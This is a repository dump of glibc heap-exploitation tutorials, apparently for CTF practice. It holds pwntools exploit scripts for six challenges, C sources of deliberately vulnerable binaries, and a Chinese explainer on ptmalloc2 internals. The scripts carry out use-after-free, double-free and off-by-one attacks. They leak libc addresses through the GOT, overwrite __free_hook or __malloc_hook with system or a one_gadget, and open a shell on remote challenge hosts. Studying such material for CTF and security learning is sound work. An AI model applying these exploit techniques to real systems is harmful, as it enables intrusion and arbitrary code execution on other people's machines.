├── double free ├── Samsara │ ├── samsara │ ├── samsara.py │ └── samsara.c └── ACTF_2019_message │ ├── ACTF_2019_message │ └── ACTF_2019_message.py ├── first fit & uaf ├── Summoner │ ├── summoner │ ├── summoner.py │ └── summoner.c └── hacknote │ ├── hacknote │ └── hacknote.py ├── off-by-one ├── heapcreator │ ├── heapcreator │ └── heapcreator.py └── vn_2020_simpleHeap │ ├── vn_2020_simpleHeap │ └── vn_2020_simpleHeap.py ├── README.md └── GLibcHeapInternals └── GLibcHeap.md /double free/Samsara/samsara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/double free/Samsara/samsara -------------------------------------------------------------------------------- /first fit & uaf/Summoner/summoner: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/first fit & uaf/Summoner/summoner -------------------------------------------------------------------------------- /first fit & uaf/hacknote/hacknote: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/first fit & uaf/hacknote/hacknote -------------------------------------------------------------------------------- /off-by-one/heapcreator/heapcreator: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/off-by-one/heapcreator/heapcreator -------------------------------------------------------------------------------- /double free/ACTF_2019_message/ACTF_2019_message: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/double free/ACTF_2019_message/ACTF_2019_message -------------------------------------------------------------------------------- /off-by-one/vn_2020_simpleHeap/vn_2020_simpleHeap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SignorMercurio/Heap-Tutorials/HEAD/off-by-one/vn_2020_simpleHeap/vn_2020_simpleHeap -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Heap Tutorials 2 | An attempt to learn glibc heap. 3 | 4 | ## Content 5 | - GLibc Heap Internals 6 | - First fit & UAF 7 | - metasequoia_2020_summoner 8 | - hitcontraining_hacknote 9 | - Double Free 10 | - metasequoia_2020_samsara 11 | - actf_2019_message 12 | - Off-by-one 13 | - hitcontraining_heapcreator 14 | - vn_2020_simpleHeap 15 | 16 | ## Video Tutorial 17 | You may check *GLibc Heap Internals* [here](https://www.bilibili.com/video/av90609384/), and find the rest of the tutorial through the related videos. -------------------------------------------------------------------------------- /first fit & uaf/Summoner/summoner.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(str(delim), str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | itr = lambda :p.interactive() 26 | uu32 = lambda data :u32(data.ljust(4,'\0')) 27 | uu64 = lambda data :u64(data.ljust(8,'\0')) 28 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 29 | 30 | context.log_level = 'DEBUG' 31 | binary = './summoner' 32 | context.binary = binary 33 | elf = ELF(binary) 34 | p = remote('node3.buuoj.cn',29978) if argv[1]=='r' else process(binary) 35 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 36 | 37 | def dbg(): 38 | gdb.attach(p) 39 | pause() 40 | 41 | # start 42 | sla('> ','summon aaaaaaaa'+'\x05') 43 | sla('> ','release') 44 | sla('> ','summon a') 45 | sla('> ','strike') 46 | # end 47 | 48 | itr() -------------------------------------------------------------------------------- /first fit & uaf/hacknote/hacknote.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(str(delim), str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | itr = lambda :p.interactive() 26 | uu32 = lambda data :u32(data.ljust(4,'\0')) 27 | uu64 = lambda data :u64(data.ljust(8,'\0')) 28 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 29 | 30 | context.log_level = 'DEBUG' 31 | binary = './hacknote' 32 | context.binary = binary 33 | elf = ELF(binary) 34 | p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary) 35 | #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 36 | 37 | def dbg(): 38 | gdb.attach(p) 39 | pause() 40 | 41 | # start 42 | def add(size,name='a'): 43 | sla(':','1') 44 | sla(':',str(size)) 45 | sla(':',name) 46 | 47 | def delete(index): 48 | sla(':','2') 49 | sla(':',str(index)) 50 | 51 | def show(index): 52 | sla(':','3') 53 | sla(':',str(index)) 54 | 55 | magic = p32(elf.sym['magic']) # 0x8048945 56 | add(0x10) # 0 57 | add(0x10) # 1 58 | delete(0) 59 | delete(1) 60 | add(0x8,magic) 61 | show(0) 62 | # end 63 | 64 | itr() -------------------------------------------------------------------------------- /double free/Samsara/samsara.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(str(delim), str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | itr = lambda :p.interactive() 26 | uu32 = lambda data :u32(data.ljust(4,'\0')) 27 | uu64 = lambda data :u64(data.ljust(8,'\0')) 28 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 29 | 30 | context.log_level = 'DEBUG' 31 | binary = './samsara' 32 | context.binary = binary 33 | elf = ELF(binary) 34 | p = remote('node3.buuoj.cn',27090) if argv[1]=='r' else process(binary) 35 | #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 36 | 37 | def dbg(): 38 | gdb.attach(p) 39 | pause() 40 | 41 | # start 42 | def add(): 43 | sla('> ','1') 44 | 45 | def delete(index): 46 | sla('> ','2') 47 | sla(':\n',str(index)) 48 | 49 | def edit(index,content): 50 | sla('> ','3') 51 | sla(':\n',str(index)) 52 | sla(':\n',content) 53 | 54 | def show(): 55 | sla('> ','4') 56 | ru('0x') 57 | return int(ru('\n'),16) 58 | 59 | def move(dest): 60 | sla('> ','5') 61 | sla('?\n', str(dest)) 62 | 63 | add() # 0 64 | add() # 1 65 | add() # 2 66 | delete(0) 67 | delete(1) 68 | delete(0) 69 | 70 | add() # 3 <-> 0 71 | add() # 4 <-> 1 72 | move(0x20) 73 | fake = show()-8 74 | edit(3,fake) 75 | add() # 5 76 | add() # 6 77 | edit(6,0xdeadbeef) 78 | sla('> ','6') 79 | # end 80 | 81 | itr() -------------------------------------------------------------------------------- /off-by-one/heapcreator/heapcreator.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(str(delim), str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | itr = lambda :p.interactive() 26 | uu32 = lambda data :u32(data.ljust(4,'\0')) 27 | uu64 = lambda data :u64(data.ljust(8,'\0')) 28 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 29 | 30 | context.log_level = 'DEBUG' 31 | binary = './heapcreator' 32 | context.binary = binary 33 | elf = ELF(binary) 34 | p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary) 35 | #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 36 | 37 | # start 38 | def add(len,content='a'): 39 | sla(':','1') 40 | sla(':',str(len)) 41 | sa(':',content) 42 | 43 | def show(index): 44 | sla(':','3') 45 | sla(':',str(index)) 46 | 47 | def edit(index,content): 48 | sla(':','2') 49 | sla(':',str(index)) 50 | sa(':',content) 51 | 52 | def delete(index): 53 | sla(':','4') 54 | sla(':',str(index)) 55 | 56 | add(0x18) # 0 57 | add(0x10) # 1 58 | edit(0,'a'*0x18+'\x41') 59 | delete(1) 60 | 61 | # new heap->content = heap1->ptr 62 | # new heap->ptr = heap1->content 63 | add(0x30,flat(0,0,0,0,0x30,elf.got['atoi'])) 64 | show(1) 65 | ru('Content : ') 66 | atoi = uu64(r(6)) 67 | system,binsh = ret2libc(atoi,'atoi') 68 | edit(1,p64(system)) 69 | sla('choice :','sh\x00\x00') 70 | # end 71 | 72 | itr() -------------------------------------------------------------------------------- /double free/Samsara/samsara.c: -------------------------------------------------------------------------------- 1 | /* gcc -fpie -pie -z now -fstack-protector-all -o samsara samsara.c */ 2 | #include 3 | #include 4 | #include 5 | 6 | void menu() 7 | { 8 | puts("1. Capture a human"); 9 | puts("2. Eat a human"); 10 | puts("3. Cook a human"); 11 | puts("4. Find your lair"); 12 | puts("5. Move to another kingdom"); 13 | puts("6. Commit suicide"); 14 | printf("choice > "); 15 | } 16 | 17 | const int maxn = 7; 18 | int cnt = 0; 19 | unsigned long long* warehouse[8]; 20 | 21 | int main() 22 | { 23 | setvbuf(stdout, NULL, _IONBF, 0); 24 | gid_t gid = getegid(); 25 | setresgid(gid, gid, gid); 26 | 27 | unsigned long long lair; 28 | unsigned long long target = 0; 29 | unsigned long long dest; 30 | int op, index; 31 | 32 | puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon..."); 33 | while (1) { 34 | unsigned long long ingr = 0; 35 | menu(); 36 | scanf("%d", &op); 37 | switch (op) { 38 | case 1: 39 | if (cnt < maxn) { 40 | warehouse[cnt] = malloc(8); 41 | ++cnt; 42 | puts("Captured."); 43 | } 44 | else puts("You can't capture more people."); 45 | break; 46 | case 2: 47 | puts("Index:"); 48 | scanf("%d", &index); 49 | free(warehouse[index]); 50 | puts("Eaten."); 51 | break; 52 | case 3: 53 | puts("Index:"); 54 | scanf("%d", &index); 55 | puts("Ingredient:"); 56 | scanf("%llu", &ingr); 57 | *(warehouse[index]) = ingr; 58 | puts("Cooked."); 59 | break; 60 | case 4: 61 | printf("Your lair is at: %p\n", &lair); 62 | ⌖ // ! 63 | break; 64 | case 5: 65 | puts("Which kingdom?"); 66 | scanf("%llu", &dest); 67 | lair = dest; 68 | puts("Moved."); 69 | break; 70 | case 6: 71 | if (target == 0xdeadbeef) system("/bin/sh"); 72 | puts("Now, there's no Demon Dragon anymore..."); 73 | default: exit(1); 74 | } 75 | } 76 | 77 | return 0; 78 | } -------------------------------------------------------------------------------- /double free/ACTF_2019_message/ACTF_2019_message.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(delim, str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(delim, str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | uu64 = lambda data :u64(data.ljust(8,'\0')) 26 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 27 | 28 | context.log_level = 'DEBUG' 29 | binary = './ACTF_2019_message' 30 | context.binary = binary 31 | elf = ELF(binary,checksec=False) 32 | p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary) 33 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) 34 | #libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False) 35 | 36 | def dbg(): 37 | gdb.attach(p) 38 | pause() 39 | 40 | _add,_free,_edit,_show = 1,2,3,4 41 | def add(size,content='a'): 42 | sla(':',_add) 43 | sla(':',size) 44 | sa(':',content) 45 | 46 | def free(index): 47 | sla(':',_free) 48 | sla(':',index) 49 | 50 | def edit(index,content): 51 | sla(':',_edit) 52 | sla(':',index) 53 | sa(':',content) 54 | 55 | def show(index): 56 | sla(':',_show) 57 | sla(':',index) 58 | 59 | # start 60 | add(0x30) # 0 61 | add(0x20) # 1 62 | add(0x20) # 2 63 | free(1) 64 | free(2) 65 | free(1) 66 | 67 | fake = 0x602060-0x8 68 | add(0x20,p64(fake)) # 3 <-> 1 69 | add(0x20) # 4 <-> 2 70 | add(0x20) # 5 <-> 1 71 | add(0x20,p64(elf.got['puts'])) # 6 <-> fake 72 | show(0) 73 | ru(': ') 74 | puts = uu64(r(6)) 75 | 76 | libc = LibcSearcher('puts', puts) 77 | base = puts - libc.dump('puts') 78 | system = base + libc.dump('system') 79 | free_hook = base + libc.dump('__free_hook') 80 | 81 | edit(6,p64(free_hook)) 82 | edit(0,p64(system)) 83 | add(0x8,'/bin/sh\x00') # 7 84 | free(7) 85 | # end 86 | 87 | p.interactive() -------------------------------------------------------------------------------- /off-by-one/vn_2020_simpleHeap/vn_2020_simpleHeap.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | from sys import argv 4 | 5 | def ret2libc(leak, func, path=''): 6 | if path == '': 7 | libc = LibcSearcher(func, leak) 8 | base = leak - libc.dump(func) 9 | system = base + libc.dump('system') 10 | binsh = base + libc.dump('str_bin_sh') 11 | else: 12 | libc = ELF(path) 13 | base = leak - libc.sym[func] 14 | system = base + libc.sym['system'] 15 | binsh = base + libc.search('/bin/sh').next() 16 | 17 | return (system, binsh) 18 | 19 | s = lambda data :p.send(str(data)) 20 | sa = lambda delim,data :p.sendafter(str(delim), str(data)) 21 | sl = lambda data :p.sendline(str(data)) 22 | sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) 23 | r = lambda num=4096 :p.recv(num) 24 | ru = lambda delims, drop=True :p.recvuntil(delims, drop) 25 | itr = lambda :p.interactive() 26 | uu32 = lambda data :u32(data.ljust(4,'\0')) 27 | uu64 = lambda data :u64(data.ljust(8,'\0')) 28 | leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) 29 | 30 | context.log_level = 'DEBUG' 31 | binary = './vn_pwn_simpleHeap' 32 | context.binary = binary 33 | elf = ELF(binary,checksec=False) 34 | p = remote('node3.buuoj.cn',28654) if argv[1]=='r' else process(binary) 35 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 36 | #libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') 37 | 38 | def dbg(): 39 | gdb.attach(p) 40 | pause() 41 | 42 | _add,_free,_edit,_show = 1,4,2,3 43 | def add(size,content='a'): 44 | sla(':',str(_add)) 45 | sla('?',str(size)) 46 | sa(':',content) 47 | 48 | def free(index): 49 | sla(':',str(_free)) 50 | sla('?',str(index)) 51 | 52 | def edit(index,content): 53 | sla(':',str(_edit)) 54 | sla('?',str(index)) 55 | sa(':',content) 56 | 57 | def show(index): 58 | sla(':',str(_show)) 59 | sla('?',str(index)) 60 | 61 | # start 62 | add(0x18) # 0 63 | add(0x68) # 1 64 | add(0x68) # 2 65 | add(0x18) # 3 66 | 67 | edit(0,'a'*0x18+'\xe1') 68 | free(1) 69 | add(0x68) # 1 70 | show(2) 71 | base = uu64(r(6))-88-libc.sym['__malloc_hook']-0x10 72 | leak('base',base) 73 | malloc_hook = base+libc.sym['__malloc_hook'] 74 | 75 | add(0x60) # 4 <-> 2 76 | free(3) 77 | free(2) 78 | edit(4,p64(malloc_hook-0x23)+'\n') 79 | add(0x60) 80 | add(0x60,flat('a'*11,base+0x4526a,base+libc.sym['realloc']+13)) 81 | sla(':',str(_add)) 82 | sla('?',str(0x18)) 83 | # end 84 | 85 | itr() -------------------------------------------------------------------------------- /first fit & uaf/Summoner/summoner.c: -------------------------------------------------------------------------------- 1 | /* gcc -fpie -pie -z now -o summoner summoner.c */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct creature { 8 | char *name; 9 | int level; 10 | }; 11 | 12 | void intro() 13 | { 14 | puts("After you climb over the snow mountain, you encounter an evil summoner!\n"); 15 | puts("He summoned \"The Dark Lord\" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!\n"); 16 | puts("What's your plan for now???\n"); 17 | } 18 | 19 | void menu() 20 | { 21 | puts("Available plans:"); 22 | puts("\tshow - show your creature and its level"); 23 | puts("\tsummon [name] - summon a creature called [name]"); 24 | puts("\tlevel-up [level] - level up your creature (below Level 5)"); 25 | puts("\tstrike - STRIKE the evil summoner's creature!!!"); 26 | puts("\trelease - release your creature"); 27 | puts("\tquit - give up and die"); 28 | } 29 | 30 | int main(int argc, char **argv) 31 | { 32 | char buf[0x200]; 33 | char *arg; 34 | uint32_t level; 35 | struct creature *c; 36 | 37 | setbuf(stdout, NULL); 38 | intro(); 39 | menu(); 40 | c = NULL; 41 | while(1) { 42 | printf("\nEnter your command:\n> "); 43 | 44 | if(fgets(buf, 0x200, stdin) == NULL) 45 | break; 46 | 47 | if (!strncmp(buf, "show", 4)) { 48 | if(c == NULL) 49 | puts("You have no creature now."); 50 | else 51 | printf("Current creature: %s [Level %u]\n", c->name, c->level); 52 | } else if (!strncmp(buf, "summon", 6)) { 53 | if (c != NULL) { 54 | puts("Already have one creature. Release it first."); 55 | continue; 56 | } 57 | arg = strtok(&buf[7], "\n"); 58 | if (arg == NULL) { 59 | puts("Invalid command"); 60 | continue; 61 | } 62 | c = (struct creature *)malloc(sizeof(struct creature)); 63 | if (c == NULL) { 64 | puts("malloc() returned NULL. Out of Memory\n"); 65 | exit(-1); 66 | } 67 | c->name = strdup(arg); 68 | printf("Current creature:\"%s\"\n", arg); 69 | } else if(!strncmp(buf, "level-up", 8)) { 70 | if(c == NULL) { 71 | puts("Summon first."); 72 | continue; 73 | } 74 | arg = strtok(&buf[9], "\n"); 75 | if (arg == NULL) { 76 | puts("Invalid command"); 77 | continue; 78 | } 79 | level = strtoul(arg, NULL, 10); 80 | if (level >= 5) { 81 | puts("Can only level-up to Level 4."); 82 | continue; 83 | } 84 | c->level = level; 85 | printf("Level-up to \"%u\"\n", level); 86 | } else if(!strncmp(buf, "strike", 6)) { 87 | if (c == NULL) { 88 | puts("Summon first."); 89 | continue; 90 | } 91 | if (c->level != 5) { 92 | puts("No, you cannot beat him!"); 93 | continue; 94 | } 95 | system("/bin/cat /pwn/flag"); 96 | } else if(!strncmp(buf, "release", 7)) { 97 | if (c == NULL){ 98 | puts("No creature summoned."); 99 | continue; 100 | } 101 | free(c->name); 102 | c = NULL; 103 | puts("Released."); 104 | } else if(!strncmp(buf, "quit", 4)) { 105 | return 0; 106 | } else { 107 | puts("Invalid option"); 108 | menu(); 109 | } 110 | } 111 | } -------------------------------------------------------------------------------- /GLibcHeapInternals/GLibcHeap.md: -------------------------------------------------------------------------------- 1 | 本文将对 Glibc 堆上的内存管理作简要介绍,部分内容翻译自参考资料中的文章。略过了许多细节,主要是为了对新手友好。 2 | 3 | 默认读者熟悉操作系统、C 语言及其运行机制,并且对于 C 中的函数调用栈有所了解。 4 | 5 | ## 什么是堆? 6 | 7 | 堆是每个程序被分配到的一块内存区域,和栈的区别主要在于堆内存是动态分配的。也就是说,程序可以从`heap`段请求一块内存,或者释放一块内存。 8 | 9 | 另外,堆内存是全局的,即在程序的任意位置都可以访问到堆,并不一定要在调用`malloc`的那个函数里访问。这是因为 C 语言使用指针指向动态分配的内存。但相比访问栈上的静态局部变量,使用指针也带来了一定的开销。 10 | 11 | ## 使用动态分配的内存 12 | 13 | GLibc 采用 ptmalloc2 内存分配器管理堆内存,相比前身 dlmalloc,它增加了对多线程的支持。多线程的好处就不多赘述了。 14 | 15 | 借助`stdlib.h`我们可以使用`malloc`和`free`函数来操作堆内存: 16 | 17 | ```c 18 | char *buffer = (char *)malloc(10); 19 | 20 | strcpy(buffer, "hello"); 21 | printf("%s\n", buffer); 22 | 23 | free(buffer); 24 | ``` 25 | 26 | 第一行分配了 10 字节给`buffer`,注意这里的强制类型转换是必须的;第 2-3 行使用了`buffer`这块内存,并在最后一行释放。 27 | 28 | 下面是`malloc`和`free`函数的注释: 29 | 30 | ```c 31 | /* 32 | malloc(size_t n) 33 | Returns a pointer to a newly allocated chunk of at least n bytes, or null 34 | if no space is available. Additionally, on failure, errno is 35 | set to ENOMEM on ANSI C systems. 36 | 37 | If n is zero, malloc returns a minumum-sized chunk. (The minimum 38 | size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit 39 | systems.) On most systems, size_t is an unsigned type, so calls 40 | with negative arguments are interpreted as requests for huge amounts 41 | of space, which will often fail. The maximum supported value of n 42 | differs across systems, but is in all cases less than the maximum 43 | representable value of a size_t. 44 | */ 45 | 46 | /* 47 | free(void* p) 48 | Releases the chunk of memory pointed to by p, that had been previously 49 | allocated using malloc or a related routine such as realloc. 50 | It has no effect if p is null. It can have arbitrary (i.e., bad!) 51 | effects if p has already been freed. 52 | 53 | Unless disabled (using mallopt), freeing very large spaces will 54 | when possible, automatically trigger operations that give 55 | back unused memory to the system, thus reducing program footprint. 56 | */ 57 | ``` 58 | 59 | 注意,即使申请 0 字节内存,`malloc`依然会分配一个最小的 chunk;如果传给`free`的参数是空指针,`free`不会做任何事,而如果传入的是一个已经`free`过的指针,那么后果是不可预期的。这里尤其需要注意的是,与`Java`等语言不同,C 语言中释放掉分配到的内存的责任在于程序员,并且分配到的内存只应使用*一次*。 60 | 61 | 这两个函数在更底层上是使用`brk()`和`mmap()`这两个系统调用来管理内存的。 62 | 63 | ## 两个系统调用 64 | 65 | 注意申请内存时,Linux 内核只会先分配一段虚拟内存,真正使用时才会映射到物理内存上去。 66 | 67 | ### brk() 68 | 69 | `brk()`通过增加`break location`来获取内存,一开始`heap`段的起点`start_brk`和`heap`段的终点`brk`指向同一个位置。 70 | 71 | - ASLR 关闭时,两者指向 data/bss 段的末尾,也就是`end_data` 72 | - ASLR 开启时,两者指向 data/bss 段的末尾加上一段随机 brk 偏移 73 | 74 | ![Process Virtual Memory Layout](https://i2.wp.com/static.duartes.org/img/blogPosts/linuxFlexibleAddressSpaceLayout.png?zoom=2) 75 | 76 | > 注:注意与`sbrk()`的区别,后者是 C 语言库函数,`malloc`源码中的`MORECORE`就是调用的`sbrk()`。 77 | 78 | ### mmap() 79 | 80 | 用于创建私有的匿名映射段,主要是为了分配一块新的内存,且这块内存只有调用`mmap()`的进程可以使用,所以称之为私有的。与之进行相反操作的是`munmap()`,删除一块内存区域上的映射。 81 | 82 | ## 多线程与 Arena 83 | 84 | 前面提到,ptmalloc2 的一大改进就在于多线程,那么他是如何做到的呢?不难猜到,每个线程必定要维护一些独立的数据结构,并且对这些数据结构的访问是需要加锁的。的确,在 ptmalloc2 中,每个线程拥有自己的`freelist`,也就是维护空闲内存的一个链表;以及自己的`arena`,一段连续的堆内存区域。特别地,主线程的`arena`叫做`main_arena`。注意**只有`main_arena`可以访问`heap`段和`mmap`映射区域,`non_main_arena`只能访问`mmap`映射区域**。 85 | 86 | > 注:线程较多时,互斥锁机制会导致性能下降。 87 | 88 | 当我们在程序中第一次申请内存时还没有`heap`段,因此 132KB 的`heap`段,也就是我们的`main_arena`,会被创建(**通过`brk()`**),无论我们申请的内存是多大。对于接下来的内存申请,`malloc`都会从`main_arena`中尝试取出一块内存进行分配。如果空间不够,`main_arena`可以通过`brk()`扩张;如果空闲空间太多,也可以缩小。 89 | 90 | 那么对于`non_main_arena`呢?前面提到它只能访问`mmap`映射区域,因为在创建时它就是由`mmap()`创建的——1MB 的内存空间会被映射到进程地址空间,不过实际上只有 132KB 是可读写的,这 132KB 就是该线程的`heap`结构,或者叫`non_main_arena`。 91 | 92 | > 注:当然了,当申请的空间大于 128KB 且`arena`中没有足够空间时,无论在哪个`arena`里都只能通过`mmap()`分配内存。 93 | 94 | `arena`也不是和线程一对一的,实际上有数量限制: 95 | 96 | ```c 97 | For 32 bit systems: 98 | Number of arena = 2 * number of cores. 99 | For 64 bit systems: 100 | Number of arena = 8 * number of cores. 101 | ``` 102 | 103 | 而当我们`free`一小块内存时,内存也不会直接归还给内核,而是给 ptmalloc2 让他去维护,后者会将空闲内存丢入 bin 中,或者说`freelist`中也可以。如果过了一会我们的程序又要申请内存,那么 ptmalloc2 就会从 bin 中找一块空闲的内存进行分配,找不到的话才会去问内核要内存。 104 | 105 | ## 维护多个堆 106 | 107 | 前面提到,`main_arena`只有一个堆,并且可以灵活地放缩;`non_main_arena`则只能通过`mmap()`获得一个堆。那么如果`non_main_arena`里分配的堆内存不够了怎么办?很简单,再`mmap()`一次,创建一个新的堆。 108 | 109 | 所以,在`non_main_arena`里,我们必须考虑如何维护多个堆的问题。这里我们会涉及三个头部: 110 | 111 | - `heap_info`:每个堆的头部,`main_arena`是没有的 112 | - `malloc_state`:`arena`的头部,`main_arena`的这个部分是**全局变量**而不属于堆段 113 | - `malloc_chunk`:每个 chunk 的头部 114 | 115 | 具体一点,`heap_info`完整定义如下: 116 | 117 | ```c 118 | typedef struct _heap_info 119 | { 120 | mstate ar_ptr; /* Arena for this heap. */ 121 | struct _heap_info *prev; /* Previous heap. */ 122 | size_t size; /* Current size in bytes. */ 123 | size_t mprotect_size; /* Size in bytes that has been mprotected 124 | PROT_READ|PROT_WRITE. */ 125 | /* Make sure the following data is properly aligned, particularly 126 | that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of 127 | MALLOC_ALIGNMENT. */ 128 | char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; 129 | } heap_info; 130 | ``` 131 | 132 | 而`malloc_state`的完整定义如下: 133 | 134 | {% raw %}
👇{% endraw %} 135 | ```c 136 | struct malloc_state 137 | { 138 | /* Serialize access. */ 139 | mutex_t mutex; 140 | 141 | /* Flags (formerly in max_fast). */ 142 | int flags; 143 | 144 | /* Fastbins */ 145 | mfastbinptr fastbinsY[NFASTBINS]; 146 | 147 | /* Base of the topmost chunk -- not otherwise kept in a bin */ 148 | mchunkptr top; 149 | 150 | /* The remainder from the most recent split of a small request */ 151 | mchunkptr last_remainder; 152 | 153 | /* Normal bins packed as described above */ 154 | mchunkptr bins[NBINS * 2 - 2]; 155 | 156 | /* Bitmap of bins */ 157 | unsigned int binmap[BINMAPSIZE]; 158 | 159 | /* Linked list */ 160 | struct malloc_state *next; 161 | 162 | /* Linked list for free arenas. Access to this field is serialized 163 | by free_list_lock in arena.c. */ 164 | struct malloc_state *next_free; 165 | 166 | /* Number of threads attached to this arena. 0 if the arena is on 167 | the free list. Access to this field is serialized by 168 | free_list_lock in arena.c. */ 169 | INTERNAL_SIZE_T attached_threads; 170 | 171 | /* Memory allocated from the system in this arena. */ 172 | INTERNAL_SIZE_T system_mem; 173 | INTERNAL_SIZE_T max_system_mem; 174 | }; 175 | ``` 176 | {% raw %}
